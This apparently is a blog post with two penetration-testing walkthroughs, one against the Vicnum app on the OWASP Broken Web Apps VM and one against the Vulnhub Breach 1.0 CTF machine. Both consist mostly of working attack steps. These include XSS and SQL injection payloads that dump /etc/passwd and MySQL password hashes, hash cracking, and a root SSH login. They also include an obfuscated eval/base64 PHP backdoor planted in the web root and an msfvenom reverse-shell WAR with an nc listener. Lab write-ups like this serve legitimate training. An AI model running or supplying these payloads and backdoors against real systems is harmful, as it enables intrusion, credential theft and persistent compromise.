OWASP Broken Web Apps VM – Vicnum – boot2root challenge Walkthrough

While going over the OWASP top 10 again recently I decided to create a few guides using the OWASP Broken Web Apps VM and show how easy it is to attack these systems. The OWASP top 10 is a great list of methods usually employed to gain access to systems and also to secure them. Why use that zero day you have when you can just attack a system like it’s 1999 again!

What you will need for this exercise:

1 – Kali installed and configured
2 – Pfsense Configured
3 – OWASP Broken Web Apps VM

Step one perform some active reconnaissance with the OWASP Zed Attack Proxy (ZAP) on Kali, enter the URL or IP address of your vulnerable OWASP BWA system you’re attacking and click attack to let ZAP do all the hard work for you!

1_OWASP_Zed_Attack_Proxy_(ZAP)_scanning

1_OWASP_Zed_Attack_Proxy_(ZAP)_scanning

From the scan I picked a random URI /vicnum/ to inspect further

2_Selecting_target_Web_Application_Vicnum

2_Selecting_target_Web_Application_Vicnum

Playing the Guessnum game is simple, keep picking 3 digit numbers until you guess all three in the correct positions. I played the game and had the Firefox plugin firebug enabled while doing so. This lead me to something interesting when I won, some cookies with the values of my current player named “zorn”.

3_Playing_Vicnum

3_Playing_Vicnum

I correctly guessed 612 in 15 guesses! I’m happy with that but what if I wanted to get an even better score of 3 or even 0. Let’s make that happen! Looking at the page located in the following URI /vicnum/guessnum4.php you’ll see something interesting if you have firebug open. Names of cookies, these cookies can be manipulated to send information to the database and modify the results we see on the screen!

Looking at the cookies from the top down:

1 – Milano with the value of 0012AA9B12goodzorn
2 – Brussels with the value of 0029A9B91crisp15
3 – Geneva with the value of 92BEF345Apecan612

Changing the end values of the cookie in this case zorn, 15 & 612 you can manipulate the database and create your own score

4_Modifying_Vicnum_cookies

4_Modifying_Vicnum_cookies

Refresh the page and you are now at the top of the leader board!

5_Vicnum_score_modifed_cookie_manipulation

5_Vicnum_score_modifed_cookie_manipulation

Above by changing the cookie values to the following yielded an excellent score:

1 – Milano with the value of 0012AA9B12gooditfellover
2 – Brussels with the value of 0029A9B91crisp3
3 – Geneva with the value of 92BEF345Apecan123

Congratulations you just became the best player at Guessnum!

Let’s go back to ZAP and see what else we can look at:

6_OWASP_Zed_Attack_Proxy_(ZAP)_alerts

6_OWASP_Zed_Attack_Proxy_(ZAP)_alerts

Maybe a little Reflected Cross Site Scripting next, ZAP is great as it gives you descriptions on how the attack is performed and also solutions for securing your web application.

Checking if Reflected Cross Site Scripting is working on this page as suggested by ZAP we can try the following snippet below entered into the Guessnum player name field to check:

7_OWASP_Vicnum_Cross_Site_Scripting_Testing_Player_Name

7_OWASP_Vicnum_Cross_Site_Scripting_Testing_Player_Name

8_Vicnum_Cross_Site_Scripting_Testing_Player_Name_Output

8_Vicnum_Cross_Site_Scripting_Testing_Player_Name_Output

This succesfully worked and a little non malicious pop up appeared on the screen, this could have been used for malicious means though. This is where the NoScript plugin for browsers shines as it blocks these attacks while browsing the web, keeping you safe as you wander around looking at random pictures of funny cats.

An interesting XSS attack using a URL which modifies the cookie parameter is this one as it will keep the session and will come back every time you refresh the page which is nice temporary persistence.

9_Vicnum_Cross_Site_Scripting_Testing_URL_field

9_Vicnum_Cross_Site_Scripting_Testing_URL_field

Using URL encoding to obfuscate it a bit so it’s not as obvious to the clicker of the link:

#!/usr/bin/env python

# urllib is needed for the URL encoding
import urllib

# URL is equal to the URL that is used
URL = ‘http://192.168.1.102/vicnum/union1.php?admin=N&unionname=’
# XSS is equal to the XSS cookie test alert
XSS = ‘<script>alert(“URL XSS Test”);</script>’

# printing the value of URL and XSS together encoded in URL encoding to give us the encoded URL value. More on URL encoding and quote_plus can be seen here.
print URL + urllib.quote_plus(XSS)

10_Vicnum_Cross_Site_Scripting_python_URL_encoder

10_Vicnum_Cross_Site_Scripting_python_URL_encoder

Below shows creation of the script above urlencode.py, chmodding it to make it executable and the results of running the script:

11_Vicnum_Cross_Site_Scripting_python_URL_encoder_chmod_script_execution

11_Vicnum_Cross_Site_Scripting_python_URL_encoder_chmod_script_execution

The output of the script with the URL encoded looks like this:

12_Vicnum_Cross_Site_Scripting_python_URL_encoded

12_Vicnum_Cross_Site_Scripting_python_URL_encoded

The result of executing the encoded URL can be seen below:

13_Vicnum_Cross_Site_Scripting_python_URL_encoded_output

13_Vicnum_Cross_Site_Scripting_python_URL_encoded_output

Below I entered some JavaScript Cross Site Scripting to print the cookies of the currently logged in player in the Guessnum player name field under the /vicnum/guessnum4.php URI. itfellover in this case was the current player at the time. It doesn’t make a difference if you know the player name or not I could have entered “dfgdfg” or just the JavaScript on it’s own to alert on the document.cookie result printing the same alert box.

14_Vicnum_itfellover_Cross_Site_Scripting_Cookie_stealing

14_Vicnum_itfellover_Cross_Site_Scripting_Cookie_stealing

15_Vicnum_itfellover_Cross_Site_Scripting_Cookie_stealing_entered

15_Vicnum_itfellover_Cross_Site_Scripting_Cookie_stealing_entered

The output seen once this is executed shows the player name itfellover to have been requested from Guessnum who had just played the game and gained a score of 12 by correctly guessing 912 to be the numbers selected for his game.

16_Vicnum_itfellover_Cross_Site_Scripting_Cookie_stealing_output

16_Vicnum_itfellover_Cross_Site_Scripting_Cookie_stealing_output

If we wanted to steal the cookies on the page we could do so and send them back to an attacking system, for the purpose of this exercise we’ll print the cookies out on the page with the following modified URL below:

17_Vicnum_itfellover_Cross_Site_Scripting_Cookie_stealing_URL

17_Vicnum_itfellover_Cross_Site_Scripting_Cookie_stealing_URL

18_Vicnum_itfellover_Cross_Site_Scripting_Cookie_stealing_URL_output

18_Vicnum_itfellover_Cross_Site_Scripting_Cookie_stealing_URL_output

This is excellent, this site is clearly vulnerable to XSS and cookie manipulation but what else can be poked at. Go back to ZAP and see what else it’s detected.

Navigating to http://192.168.1.102/vicnum/cgi-bin/ will show us a directory listing for this web application:

19_Vicnum_directory_listing

19_Vicnum_directory_listing

SQL Injection:

A simple quote ‘ in the “Guessnum Player” name entry field – http://192.168.1.102/vicnum/guessnum.html – yields an interesting unsanitised error giving information regarding the database used for the web application.

20_Vicnum_SQL_Injection_testing

20_Vicnum_SQL_Injection_testing

Output seen below

You have requested results for Guessnum player ‘ :ERROR in SELECT name,guess,count,tod FROM guessnumresults WHERE name = ”’ You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ””’ at line 1

This is great as it tells us MySQL is in use for this web application and also gives some hints as to what we can use in SQL statements to call from the database

SELECT name,guess,count,tod FROM guessnumresults WHERE name =

You can find out how to emulate the table structure using “union” with this link. This link will help specify a column in the database.

21_Vicnum_SQL_Error_Output

21_Vicnum_SQL_Error_Output

Trying next a very basic piece of SQL injection

‘ OR ‘a’=’a

22_Vicnum_SQL_Injection_statement_test

22_Vicnum_SQL_Injection_statement_test

This gives us all the users scores stored in the database:

23_Vicnum_SQL_Injection_Player_database_score_dump

23_Vicnum_SQL_Injection_Player_database_score_dump

Listing the contents of etc passwd using load_file:

‘ UNION ALL SELECT 1,2,3,load_file(‘/etc/passwd’)#

24_Vicnum_SQL_Injection_etc_passwd_dump

24_Vicnum_SQL_Injection_etc_passwd_dump

List all mysql users and their hashed passwords:

‘ UNION ALL SELECT 1,2,user,password FROM mysql.user#

25_Vicnum_SQL_Injection_users_and_password_hashes_dump

25_Vicnum_SQL_Injection_users_and_password_hashes_dump

This lists everything in the mysql database:

‘ UNION ALL SELECT 1,table_schema,table_name, column_name FROM information_schema.columns WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’#

26_Vicnum_SQL_Full_database_dump

26_Vicnum_SQL_Full_database_dump

Delicious password hashes but what are they exactly? Let’s find out by first checking the length of the hashes with a quick python script

#!/usr/bin/env python

print len(73316569DAC7839C2A784FF263F5C0ABBC7086E2)

27_Vicnum_simple_python_password_hash_count

27_Vicnum_simple_python_password_hash_count

Chmoding the script to make it executable and running it:

chmod +x ba <– making the script “ba” executable

./ba <– running the executable

28_Vicnum_simple_python_password_hash_count_chmod_and_run

28_Vicnum_simple_python_password_hash_count_chmod_and_run

40 characters long which means it’s SHA-1

Let’s create a list with all the hashes by first pasting in the whole page of text like you see below:

29_Vicnum_password_hash_list

29_Vicnum_password_hash_list

Once that’s done let’s clean it up with some awk and sed magic:

awk ‘{print $NF}’ hashes | sed ‘s . ‘ | sed ‘/^\s*$/d’

awk ‘{print $NF}’ hashes <– Prints out the end of the line which is the hash
sed ‘s . ‘ <– This gets rid of the * at the start of the SHA-1 hash
sed ‘/^\s*$/d’ <– Gets rid of all the whitespace

Which leaves us with this output:

30_Vicnum_password_hashes_sorted

30_Vicnum_password_hashes_sorted

73316569DAC7839C2A784FF263F5C0ABBC7086E2
D5D9F81F5542DE067FFF5FF7A4CA4BDD322C578F
D5D9F81F5542DE067FFF5FF7A4CA4BDD322C578F
75F15FF5C9F06A7221FEB017724554294E40A327
D5D9F81F5542DE067FFF5FF7A4CA4BDD322C578F
C7847100CDBE29050A338F78EA71F066D196ED98
C260A4F79FA905AF65142FFE0B9A14FE0E1519CC
CA1F8B079BB2857835107EA008871B4691769547
D67B38CDCD1A55623ED5F55856A29B9654FF823D
E82A07F59B0D83BEF29F79E41FA0F8A042CE3DE4
3758F91540524F48F92FE932883C54F6E802A13A
3D118FD3FFC74F534A493C30ADC1F23A48510D9D
30B462BE16C04867D06113304F664BB9A5B573D8
5297BE816CC703E8CB686D205071E9CD9E8F08A4
9AE953952D993ED69779E70E28193A1EB8DDF91C
C238B1FA6D14124C867DC9634DEB2CD731212094
8FC7327502AA1203AAE881C4A5E2AA1CD6E46CE8
82183BF1F275E47C2692B1CF81CB7A8FD16CE5EA
E2E1F0A3459647AACF63319694BCBD107231B10C
DF0F41B82DFDB4AA462186480FA9922EF4BBFCEB
48529BB639EC6E4C2A6695C4B3D544A9E2A21D4C
F70658E9BDD2910AC33ACDA164605DFC1DA70A68
6126D5A029ACE603DBF187A301C1CCEAEDCFE232
E5C4AA1177F0A69A9E124CDC2676D4ECCE01E347
ED2048BBC6AFD6E2186982869C7899A7EF38C066
10A99DBC0772291AA6AF9A1A9271945340E4E812
47A91042510E7E966EF4075A934A77A57A9E71FE
02EAFACD13AEC2C2E139EA38903B9A84A165DF0B
0F44FA14B9DFBBFFBDF2F7692868DE1B997C66ED
93ADDFABFCD5A66C95E97C73240D373413A01275
E0E85D302E82538A1FDA46B453F687F3964A99B4
5FA5F4C9ACD2CA5C1EB9E0EC80175D5FCAA0D7D6
8028371417372EDAD5755F9653E93D7C1E87564C
1DB6D61428C07B8E8D6876CC60ECAD01D2CE844A
2132873552FEDF6780E8060F927DD5101759C4DE
4BA609A0C9C18D80985519932BAC08C604119234
255195939290DC6D228944BCC682D2427DA57E21
63C3CE60C4AC4F87F321E54F290A4867684A96C4

Let’s throw this at hashkiller’s SHA-1 Decrypter and see if it’s already cracked the hashes and save us some work:

31_Vicnum_password_hashes_cracked_Hashkiller

31_Vicnum_password_hashes_cracked_Hashkiller

All but 5 hashes have been cracked, this is excellent, we can definitely gain access to the system now and own the box fully!

First trying to ssh in as root with the first password in the list “owaspbwa”:

ssh root@192.168.1.102 <– ssh as the user root to 192.168.1.102

32_Vicnum_ssh_root_success_first_attempt

32_Vicnum_ssh_root_success_first_attempt

And we’re in as root and we have mail, how kind, we should read it!

cd /var/spool/mail <– Your mail is kept her on most Linux systems

33_Vicnum_OWASP_BWA_mail_directory

33_Vicnum_OWASP_BWA_mail_directory

There is a wealth of information in here, especially the www-data mail log is filled with interesting URL’s and passwords! Let’s add some persistence for now and call it a day with WeBaCoo and create an obfuscated PHP backdoor to leave on the box for persistence.

webacoo -g -o backdoor.php

-g Generate backdoor code
-o Generated backdoor output filename

cat backdoor.php <– Verifies the newly created backdoor

34_Vicnum_OWASP_BWA_WeBaCoo_PHP_backdoor

34_Vicnum_OWASP_BWA_WeBaCoo_PHP_backdoor

On the OWASP BWA system as we already have root on the box we can go anywhere and do anything so let’s place the backdoor.php code in the apache /var/www/ directory so we can come back at any time and gain access again even if the password is changed for example.

cd /var/www <– change to the /var/www web directory

35_Vicnum_OWASP_BWA_web_directory

35_Vicnum_OWASP_BWA_web_directory

Create the obfuscated backdoor in the /var/www/ web directory

cat > backdoor.php <– cat with > will allow you to append text to a file quickly without opening another editor

Paste your own WeBaCoo backdoor and hit CTRL + C to exit cat:
<?php $b=strrev(edoced_4.6esab);eval($b(str_replace( ,,a W Y o a X N z Z X Q o J F 9 D T 0 9 L S U V b J 2 N t J 1 0 p K X t v Y l 9 z d G F y d C g p O 3 N 5 c 3 R l b S h i Y X N l N j R f Z G V j b 2 R l K C R f Q 0 9 P S 0 l F W y d j b S d d K S 4 n I D I + J j E n K T t z Z X R j b 2 9 r a W U o J F 9 D T 0 9 L S U V b J 2 N u J 1 0 s J F 9 D T 0 9 L S U V b J 2 N w J 1 0 u Y m F z Z T Y 0 X 2 V u Y 2 9 k Z S h v Y l 9 n Z X R f Y 2 9 u d G V u d H M o K S k u J F 9 D T 0 9 L S U V b J 2 N w J 1 0 p O 2 9 i X 2 V u Z F 9 j b G V h b i g p O 3 0 = ))); ?>

cat backdoor.php <– This is to verify your backdoor was pasted correctly

36_Vicnum_OWASP_BWA_WeBaCoo_backdoor_deployed

36_Vicnum_OWASP_BWA_WeBaCoo_backdoor_deployed

Finally a quick check that the backdoor works correctly before we call it a day

webacoo -t -u http://192.168.1.102/backdoor.php

37_Vicnum_OWASP_BWA_WeBaCoo_backdoor_confirmation_test_success

37_Vicnum_OWASP_BWA_WeBaCoo_backdoor_confirmation_test_success

Congratulations, that was a fun challenge. I look forward to creating some further OWASP BWA tutorials. I hope you have fun playing around with the OWASP Broken Web Applications VM as much as I do!

 

Vulnhub – Breach 1.0 boot2root CTF challenge Walkthrough

I was playing with Breach 1.0 recently and found it to be one of the most fun CTF systems to break into meant to be good for a beginner to intermediate hackers and the first in what will hopefully be an excellent multi-part series! Solving the boot2root challenge requires a combination of both information gathering and persistence for learning and this is my writeup.

First things first a bit of enumeration is needed to find out some intel and a quick nmap scan of the system with the following yields many results meaning something is clearly wrong!:

nmap -sS -Pn 192.168.110.140
“-sS” – TCP SYN
“-Pn” – Treat all hosts as online — skip host discovery

1_Breach_1.0_boot2root_CTF_nmap_scan

1_Breach_1.0_boot2root_CTF_nmap_scan

I noticed some weird output while running different nmap scans so created a little python script to see what was going on

#!/usr/bin/env python

import os

for i in range(1, 50):
os.system(“nc 192.168.110.140 ” + str(i))
print “”

A break down of the script:

#!/usr/bin/env python <– This will set the environment for python to run in regardless of where it is stored on your system.

import os <– This imports a module called “os” which will let us do some fun stuff with system commands.

for i in range(1, 50): <– Start of a for loop, i in this case has the values of the range 1 to 50 passed to it and will be used on the next line.

os.system(“nc 192.168.110.140” + str(i)) <– os.system is used to encapsulate nc with the ip address 192.168.110.140 plus the values 1,2,3,4,5 etc until it reaches 50

print “” <– I added this to make the output cleaner

This then gives me the following output which I thought was brilliant ๐Ÿ™‚

2_Breach_1.0_boot2root_CTF_nc_trolling

2_Breach_1.0_boot2root_CTF_nc_trolling

Hmm lets connect to port 80 in the browser and see if there is a web page hosted

192.168.110.140:80

3_Breach_1.0_boot2root_CTF_web_page_port_80

3_Breach_1.0_boot2root_CTF_web_page_port_80

Excellent we have the company name Initech.

Bill Lumbergh and Peter Gibbons were performing analysis and containing the threat.

It appears like a disgruntled employee caused the breach.

Viewing the page source you can see some strange text in there:

view-source:http://192.168.110.140/

4_Breach_1.0_boot2root_CTF_web_page_source_code

4_Breach_1.0_boot2root_CTF_web_page_source_code

Weird base64?:

<!——Y0dkcFltSnZibk02WkdGdGJtbDBabVZsYkNSbmIyOWtkRzlpWldGbllXNW5KSFJo —–>

The image is clickable and brings you to another page:

http://192.168.110.140/initech.html

5_Breach_1.0_boot2root_CTF_web_page_second_site

5_Breach_1.0_boot2root_CTF_web_page_second_site

Two images and an employee portal are now also accessible:

http://192.168.110.140/impresscms/user.php <– Impress CMS user portal

Looking at the image URI directories makes me feel there may be more in that images sub directory:

http://192.168.110.140/images/cake.jpg
http://192.168.110.140/images/swingline.jpg
http://192.168.110.140/images/milton_beach.jpg

Dropping to /images

http://192.168.110.140/images/

We then get access to a few more images.

6_Breach_1.0_boot2root_CTF_website_images_directory

6_Breach_1.0_boot2root_CTF_website_images_directory

Now we have a few more images to look into and a troll GIF hahaha:

http://192.168.110.140/images/bill.png
http://192.168.110.140/images/initech.jpg
http://192.168.110.140/images/troll.gif
http://192.168.110.140/images/cake.jpg
http://192.168.110.140/images/swingline.jpg
http://192.168.110.140/images/milton_beach.jpg

Created a quick list of all the images with cat:

cat > _images
http://192.168.110.140/images/bill.png
http://192.168.110.140/images/initech.jpg
http://192.168.110.140/images/troll.gif
http://192.168.110.140/images/cake.jpg
http://192.168.110.140/images/swingline.jpg
http://192.168.110.140/images/milton_beach.jpg

Created a quick for loop to then cycle through the list and pull them all down for me, the usage is similar to the python script above used for nc.

for i in $(cat _images); do wget $i; done

I then ran the strings command against all the images with a simple for loop, once again similar to the previous scripts. The only thing really different is the variable created called types storing the different image extensions to cycle through the current working directory:

#!/bin/bash

types=”*.png *.jpg *.gif”

for i in $types
do
$(strings $i >> string_output)
done

Looking through the outputted file “string_output” you find the textcomment “coffeestains”. Which I added to my word list and moved on as it might be useful later on in the challenge.

7_Breach_1.0_boot2root_CTF_image_strings

7_Breach_1.0_boot2root_CTF_image_strings

Looking at the string found earlier on the web page it turns out it’s double encoded in base64 without the trailing “=” at the end, once again a quick python script quickly solves this problem by importing the base64 module pushing the string into a variable encoded and then decrypting it by running base64.b64decode against it twice and printing the result:

#!/usr/bin/env python

import base64

encoded = (‘Y0dkcFltSnZibk02WkdGdGJtbDBabVZsYkNSbmIyOWtkRzlpWldGbllXNW5KSFJo’)

decrypted = base64.b64decode(base64.b64decode(encoded))

print decrypted

The following string is printed and it looks like a username and password combo:

pgibbons:damnitfeel$goodtobeagang$ta

Trying the credentials in the CMS platform they work and we get access to his inbox!

8_Breach_1.0_boot2root_CTF_CMS_portal_private_messages

8_Breach_1.0_boot2root_CTF_CMS_portal_private_messages

Working from the bottom up through the emails

http://192.168.110.140/impresscms/readpmsg.php?start=0&total_messages=3

9_Breach_1.0_boot2root_CTF_CMS_private_message_keystore

9_Breach_1.0_boot2root_CTF_CMS_private_message_keystore

http://192.168.110.140/impresscms/readpmsg.php?start=1&total_messages=3

10_Breach_1.0_boot2root_CTF_CMS_IDS_IPS_Message

10_Breach_1.0_boot2root_CTF_CMS_IDS_IPS_Message

http://192.168.110.140/impresscms/readpmsg.php?start=2&total_messages=3

11_Breach_1.0_boot2root_CTF_CMS_private_message_sensitive_content

11_Breach_1.0_boot2root_CTF_CMS_private_message_sensitive_content

We learn a few things from these emails:

1 – There is/was a keystore 192.168.110.140/.keystore Bob – Some sort of SSL Cert called Super Secret Cert Pro
2 – Email addresses: registrar@penetrode.com, bob@initech.com, admin@breach.local
3 – They bought a new IDS/IPS
4 – There is another user called Michael Bolton – http://192.168.110.140/impresscms/modules/profile/index.php?uid=3
5 – Sensitive artifacts are stored in the admin portal and the password is apparently very secure

Lets pull the keystore first:

Pulling with the link mentioned does nothing

12_Breach_1.0_boot2root_CTF_keystore_bob_not_found

12_Breach_1.0_boot2root_CTF_keystore_bob_not_found

But, pulling just the keystore gets the file, move on and keep it for later

13_Breach_1.0_boot2root_CTF_keystore_download

13_Breach_1.0_boot2root_CTF_keystore_download

Lets try logging in as some of these users:

registrar@penetrode.com, bob@initech.com, admin@breach.local

admin and the string found in one of the images “coffeestains” works ๐Ÿ™‚

14_Breach_1.0_boot2root_CTF_CMS_admin_profile

14_Breach_1.0_boot2root_CTF_CMS_admin_profile

The URL is different logged in as the admin: http://192.168.110.140/impresscms/modules/profile/index.php?uid=1

Changing the uid=1 to 2 and 3 logs you in as the other users

Peter Gibbon’s Profile:

15_Breach_1.0_boot2root_CTF_CMS_Peter_Gibbons_profile

15_Breach_1.0_boot2root_CTF_CMS_Peter_Gibbons_profile

Michael Bolton’s Profile:

16_Breach_1.0_boot2root_CTF_CMS_Michael_Boltons_profile

16_Breach_1.0_boot2root_CTF_CMS_Michael_Boltons_profile

New emails found
michael.bolton@initech.com & peter.gibbons@initech.com

Links:
http://192.168.110.140/impresscms/modules/profile/index.php?uid=2
http://192.168.110.140/impresscms/modules/profile/index.php?uid=3

Under the ImpressCMS Admin account in the content section you find a message saying Michael has configured artifacts and communications related to the breach on the portal.

17_Breach_1.0_boot2root_CTF_CMS_Private_message_secure_content

17_Breach_1.0_boot2root_CTF_CMS_Private_message_secure_content

Looking at the link it looks similar to the uid=3 used previously instead this is content_id=3 and changing it jumps you into other areas to gather more information for your reconnaissance.

18_Breach_1.0_boot2root_CTF_CMS_Private_message_PCAP

18_Breach_1.0_boot2root_CTF_CMS_Private_message_PCAP

Interesting here is that Peter Gibbons posted a PCAP file of a re-production of the attack. Something makes the file unreadable for him. Nmap is making it difficult to find the correct port so they can connect to it. The password for storepassword and keypassword are set to tomcat. Securely encrypted could be a hint that the keystore is the SSL certificate for unlocking the PCAP as the traffic is encrypted. This can also be linked to when logged in as Peter Gibbons.

Pulling down the PCAP with wget:
wget http://192.168.110.140/impresscms/_SSL_test_phase1.pcap

19_Breach_1.0_boot2root_CTF_CMS_wget_PCAP

19_Breach_1.0_boot2root_CTF_CMS_wget_PCAP

Using ngrep to quickly scan through the PCAP with ngrep -I _SSL_test_phase1.pcap

“-I” – simply tells ngrep to read from a file and not an interface

20_Breach_1.0_boot2root_CTF_ngrep_PCAP

20_Breach_1.0_boot2root_CTF_ngrep_PCAP

Interesting here is the connection to 192.168.110.140:8443 a common apache port.

Next some kali IOC’s are detected

21_Breach_1.0_boot2root_CTF_ngrep_PCAP_continued_Kali_DNS

21_Breach_1.0_boot2root_CTF_ngrep_PCAP_continued_Kali_DNS

Nethunter and exploitdb domains are also egressed to

22_Breach_1.0_boot2root_CTF_ngrep_PCAP_continued_nethunter

22_Breach_1.0_boot2root_CTF_ngrep_PCAP_continued_nethunter

Ngrep just for nethunter IOC’sย  with

ngrep -i nethunter -I _SSL_test_phase1.pcap

Using the following ngrep command I searched for some User-Agent Strings which can be handy at times

ngrep -I _SSL_test_phase1.pcap -Wbyline ‘HTTP’ you can see some User-Agent Strings (UAS):

23_Breach_1.0_boot2root_CTF_ngrep_PCAP_User_Agent_String

23_Breach_1.0_boot2root_CTF_ngrep_PCAP_User_Agent_String

I know there are some GET requests in there but can’t seem to pull them up with ngrep foo so I go to tcpick

tcpick -C -yP -r SSL_test_phase1.pcap

Apart from confirming what we already know (That 192.168.110.120 established a connection on port 8443 with the Initech server) I see nothing different and can’t manipulate the get requests

24_Breach_1.0_boot2root_CTF_tcpick_PCAP

24_Breach_1.0_boot2root_CTF_tcpick_PCAP

I also ran
tcpdump -qns 0 -X -r SSL_test_phase1.pcap

and

tshark -r SSL_test_phase1.pcap

Which lead to what I was looking for the get requests!

25_Breach_1.0_boot2root_CTF_tshark_GET_requests_PCAP

25_Breach_1.0_boot2root_CTF_tshark_GET_requests_PCAP

We now have the following URI’s for 192.168.110.140:

/_M@nag3Me/html
/_M@nag3Me/images/asf-logo.gif
/_M@nag3Me/images/tomcat.gif
/favicon.ico
/cmd/
/cmd/cmd.jsp
/cmd/cmd.jsp?cmd=id

It look’s like a web shell was launched against the management interface with the /cmd/ URI structure

Playing around with tshark switches I find another possible URI

26_Breach_1.0_boot2root_CTF_tshark_SSL_GET_requests_PCAP

26_Breach_1.0_boot2root_CTF_tshark_SSL_GET_requests_PCAP

47 45 54 20 2f 5f 4d 40ย  6e 61 67 33 4d 65 2f 69ย  GET /_M@ nag3Me/i

That looks a bit strange

Also used the following tshark filters below and at this point I figured I might as well start the play with the keystore found earlier and see if it decrypts the traffic here.

tshark -r SSL_test_phase1.pcap -z “mgcp,rtd,ip.addr==192.168.110.140”
tshark -r SSL_test_phase1.pcap -z “follow,ssl,hex,1”

I got prompted for a password when I ran this so I used tomcat from earlier to gain access. With this cert it should make reading the PCAP easier and uncover some further information

keytool -list -v -keystore .keystore

27_Breach_1.0_boot2root_CTF_keytool_list_keystore

27_Breach_1.0_boot2root_CTF_keytool_list_keystore

Using keytool again we can use it to extract the key to a p12 cert

28_Breach_1.0_boot2root_CTF_keytool_extract_p12_certificate

28_Breach_1.0_boot2root_CTF_keytool_extract_p12_certificate

Converting the file into a passwordless PEM file

openssl pkcs12 -in key.p12 -out keystore.pem

29_Breach_1.0_boot2root_CTF_openssl_p12_to_PEM

29_Breach_1.0_boot2root_CTF_openssl_p12_to_PEM

Exporting the private key only:

30_Breach_1.0_boot2root_CTF_openssl_PEM_extract_Private_key

30_Breach_1.0_boot2root_CTF_openssl_PEM_extract_Private_key

Importing the p12 key into Wireshark so you can then see the SSL stream and follow it.

Importing it into Wireshark is as easy as Pressing CTRL + SHIFT + P or navigating to preferences –> Protocols –> SSL

Edit the RSA keylist with the following

192.168.110.140 8443 http /keyfile/dir tomcat

We can then see remnants of what look like a war file deployed on the apache management interface:

31_Breach_1.0_boot2root_CTF_PCAP_analysis_web_shell

31_Breach_1.0_boot2root_CTF_PCAP_analysis_web_shell

We also get the following URI’s of GIF’s which appear to contain nothing of interest

/_M@nag3Me/images/tomcat.gif
_M@nag3Me/images/asf-logo.gif

And what looks like more base64 in the form of an authorization against the management interface

31_Breach_1.0_boot2root_CTF_PCAP_analysis_web_shell

31_Breach_1.0_boot2root_CTF_PCAP_analysis_web_shell

And what looks like more base64 in the form of an authorization against the management interface

32_Breach_1.0_boot2root_CTF_PCAP_analysis_Basic_Credentials

32_Breach_1.0_boot2root_CTF_PCAP_analysis_Basic_Credentials

After all of this we learn that it appears as if a malicious war file was uploaded to the Apache server located on 192.168.110.140:8443 and was used to gain tomcat6 level access on the server

33_Breach_1.0_boot2root_CTF_PCAP_analysis_web_shell_executed_tomcat6_user_access

33_Breach_1.0_boot2root_CTF_PCAP_analysis_web_shell_executed_tomcat6_user_access

After this I decided to look inside the two GIF’s and had issues accessing the site due to the cipher suite in use, going into about:config and adding the string security.tls.insecure_fallback_hosts 192.168.110.140 did the trick

34_Breach_1.0_boot2root_CTF_Firefox_TLS_Fallback

34_Breach_1.0_boot2root_CTF_Firefox_TLS_Fallback

Decoding the Basic Authorization above in the packet capture is as simple as running the following piece of python against the Basic Authorization string dG9tY2F0OlR0XDVEOEYoIyEqdT1HKTRtN3pC. Similar to the previous double encoded base64 string this is much easier to decode.

35_Breach_1.0_boot2root_CTF_python_decode_base64

35_Breach_1.0_boot2root_CTF_python_decode_base64

Success

36_Breach_1.0_boot2root_CTF_python_decode_base64_credentials

36_Breach_1.0_boot2root_CTF_python_decode_base64_credentials

tomcat:Tt\5D8F(#!*u=G)4m7zB

This might log us in on the apache server

Running nmap against the server on that port confirms it’s an Apache server

37_Breach_1.0_boot2root_CTF_nmap_service_detection_port_8443

37_Breach_1.0_boot2root_CTF_nmap_service_detection_port_8443

Running against port 8080 out of curiosity gave back a random perl script

root@stealth:~/Documents/Breach_Guide# nmap -sV -p8080 192.168.110.140

Starting Nmap 7.12 ( https://nmap.org ) at 2016-07-27 23:26 IST
Nmap scan report for 192.168.110.140
Host is up (0.00020s latency).
PORTย ย ย ย  STATE SERVICEย ย ย ย  VERSION
8080/tcp openย  http-proxy?
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8080-TCP:V=7.12%I=7%D=7/27%Time=57993524%P=x86_64-pc-linux-gnu%r(NU
SF:LL,EC,”/bin/bash\t-c\t{perl,-e,\$0,useSPACEMIME::Base64,cHJpbnQgIlBXTkV
SF:EXG4iIHggNSA7ICRfPWBwd2RgOyBwcmludCAiXG51cGxvYWRpbmcgeW91ciBob21lIGRpcm
SF:VjdG9yeTogIiwkXywiLi4uIFxuXG4iOw==}\t\$_=\$ARGV\[0\];~s/SPACE/\\t/ig;ev
SF:al;\$_=\$ARGV\[1\];eval\(decode_base64\(\$_\)\);”);
MAC Address: 08:00:27:58:48:B1 (Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 32.32 seconds

Decoding the base64 in the above output resolves to:

print “PWNED\n” x 5 ; $_=`pwd`; print “\nuploading your home directory: “,$_,”… \n\n”;

38_Breach_1.0_boot2root_CTF_nmap_service_detection_port_8080

38_Breach_1.0_boot2root_CTF_nmap_service_detection_port_8080

Login is successful to https://192.168.110.140:8443/_M@nag3Me/html with the credentials decoded from base64 ๐Ÿ™‚

Username: tomcat
password: Tt\5D8F(#!*u=G)4m7zB

39_Breach_1.0_boot2root_CTF_Apache_Portal_First_Login

39_Breach_1.0_boot2root_CTF_Apache_Portal_First_Login

Create a raw payload war file with msfvenom to get a reverse shell on the box

msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.110.23 LPORT=443 -f war > breach.war

40_Breach_1.0_boot2root_CTF_Create_WAR_file_msfvenom

40_Breach_1.0_boot2root_CTF_Create_WAR_file_msfvenom

Upload the war file to the Apache breach server

41_Breach_1.0_boot2root_CTF_WAR_file_upload

41_Breach_1.0_boot2root_CTF_WAR_file_upload

Click on the deployed WAR file to visit it in the browser

42_Breach_1.0_boot2root_CTF_execute_WAR_file

42_Breach_1.0_boot2root_CTF_execute_WAR_file

You will receive what appears to be a blank page, navigating to this link however provides you with a reverse tcp reverse shell to the system

43_Breach_1.0_boot2root_CTF_WAR_file_executed

43_Breach_1.0_boot2root_CTF_WAR_file_executed

In order to get that reverse shell you need to set a simple nc listener running on port 443 (Or alternatively use msfconsole)

nc -lvp 443

44_Breach_1.0_boot2root_CTF_nc_listener_port_443

44_Breach_1.0_boot2root_CTF_nc_listener_port_443

Connection results in tomcat6 access similar to what was seen in the PCAP. Gaining a TTY shell can be leveraged with python:

python -c ‘import pty;pty.spawn(“/bin/bash”)’

45_Breach_1.0_boot2root_CTF_nc_reverse_shell_python_pty

